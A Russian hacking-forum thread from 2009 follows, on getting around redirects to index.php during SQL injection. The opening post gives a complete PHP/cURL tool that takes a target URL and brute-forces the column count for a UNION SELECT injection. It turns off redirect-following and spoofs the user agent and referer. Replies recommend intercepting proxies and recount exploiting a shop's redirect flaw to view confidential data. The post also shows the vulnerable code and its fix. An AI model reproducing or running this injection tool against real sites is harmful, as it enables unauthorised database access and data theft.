Переадресация на Index.php при SQL INJ

Discussion in 'Уязвимости' started by b3, 18 Feb 2009.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент:

    описание:
    CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").

    Собсно результат был успешным, скрин:
    http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png

    сам скриптик:
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>SQLINJ tool</title>
    <style type="text/css">
    <!--
    body {
        background-color: #666633;
    }
    .style1 {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        color: #999966;
        cursor: crosshair;
        border-top-style: dotted;
        border-right-style: dotted;
        border-bottom-style: dotted;
        border-left-style: dotted;
    }
    .style2 {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        color: #F4F4F4;
        font-size: 12px;
    }
    .input {
        background-color: #666633;
    }
    a:link {
        color: #DDDDDD;
        text-decoration: none;
    }
    a:visited {
        color: #DDDDDD;
        text-decoration: none;
    }
    a:hover {
        text-decoration: none;
        color: #CCCC33;
    }
    a:active {
        text-decoration: none;
        color: #FFFF33;
    }
    body,td,th {
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 10px;
    }
    -->
    </style>
    </head>

    <body>
    <div align="center">
      <h1 class="style1">SQLINJ Tool</h1>
      
      
      <p>&nbsp;</p>
      <table width="580" border="1" align="center">
      <form id="form1" name="form1" method="post" action="">
    <tr>
          <td width="54" align="center">URL:</td>
          <td width="510"><input name="url" type="text" class="input" size="85" /></td>
    </tr>
    <tr>
          <td align="center">Columns:</td>
            <td><input name="count_columns" type="text" class="input" size="85" /></td>
    </tr>
    <tr>
             
          <td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td>
    </tr>
    </form>
    </table>
    <br />

    <?php
    set_time_limit
    (0);
    if(!isset(
    $_POST['url'],$_POST['count_columns']))

        exit;
    }
    $url trim($_POST['url']);
    $count_columns trim($_POST['count_columns']);
    $ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
    $sql "+UNION+SELECT+0x53714C694E6A5F31";
    $work_url $url.$sql;
    $work_url_dig $url."+UNION+SELECT+1";
    $ref "http://www.rambler.ru/search.php?reklama";
    for (
    $i=2;$i<$count_columns 2;$i++) 
    {
    $ch curl_init($work_url);
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
        
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
        
    curl_setopt($chCURLOPT_REFERER$ref);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
    $res curl_exec($ch);
    if(
    preg_match('#SqLiNj\_[0-9]{1,3}#i'$res$matches))
    {
        
    echo 
    '<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>';
    echo 
    "Найдено соответсвие: ".$matches[0]."<br>";
        echo 
    "Хэкс эквивалент колонок :<br>".$work_url."<br>";
        echo 
    "Числовой эквивалент колонок :<br>".$work_url_dig."<br>";
        
    $count_dig explode("_",$matches[0]);
        echo 
    "Принтабельная колонка - <b>".$count_dig[1]."</b>";
        break;
    echo 
    '</td></tr></table>';
    }
        
    $work_url .= ",0x".bin2hex("SqLiNj_$i");
        
    $work_url_dig .= ",$i";
    }
    ?>
    </body>
    </html>
    Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); )
    Уязвимая часть кода выглядит так:
    PHP:
    <?php
    $id 
    $_GET['id'];
    if(!
    is_numeric($id))
    header("Location: http://www.example.com/");

    # Остальная часть скрипта...
    ?>
    Правильнее дописать остановку выполнения остальной части коды/скрипта после условия:
    PHP:
    <?php
    $id 
    $_GET['id'];
    if(!
    is_numeric($id))
    {
    header("Location: http://www.example.com/");
    exit;
    }
    # Остальная часть скрипта не грузится...
    ?>
     
    #1 b3, 18 Feb 2009
    Last edited: 26 Feb 2009
    5 people like this.
  2. it's mу

    it's mу Banned

    Joined:
    12 Feb 2009
    Messages:
    47
    Likes Received:
    32
    Reputations:
    5
    сделай скрин поменьше, тянет страницу, пиздец не красиво :(
     
    2 people like this.
  3. sboy20042

    sboy20042 Banned

    Joined:
    7 Jul 2007
    Messages:
    318
    Likes Received:
    376
    Reputations:
    128
    помоему если я не ошибаюсь, в акунетиксе есть http editor который позволяет просматривать ответы сервера без всяких редеректов
     
  4. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
     
    1 person likes this.
  5. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    paros proxy скачай, и редактируй ответы-приветы.
     
  6. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Ну переадресация в основном случается в случае не правильного указания параметра...и это не обязательно фильтрация...
     
  7. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    была когда-то бага в шопе каком-то, при ответе сервера о неверности пасворда он слал в хиедере - location:index.php, так вот через парос прокси этот ответ прибивался до обработки его браузером, и мы оставались на той же странице, с возможностью просмотра конфиденциальной информации. Из чего следует, что парос - это не инет крак, он позволяет эдитить ответы-приветы ДО их обработки браузером, что иногда очень полезно. есть еще плуг к лисе подобный.
     
  8. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    юзать сниффер уже не в моде? омг
     
  9. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ну вобше в более менее нормальном приложении должно идти остановка скрипта после переадресации
    :
    PHP:
    if(!is_numeric($id))
    {
    header("Location: http://site/index.php"); 
    die;
    //exit
    }
    это относительно нечастые случаи(когда нету остановки выполнения скрипта) но все же случаються,а за старание + однозначно.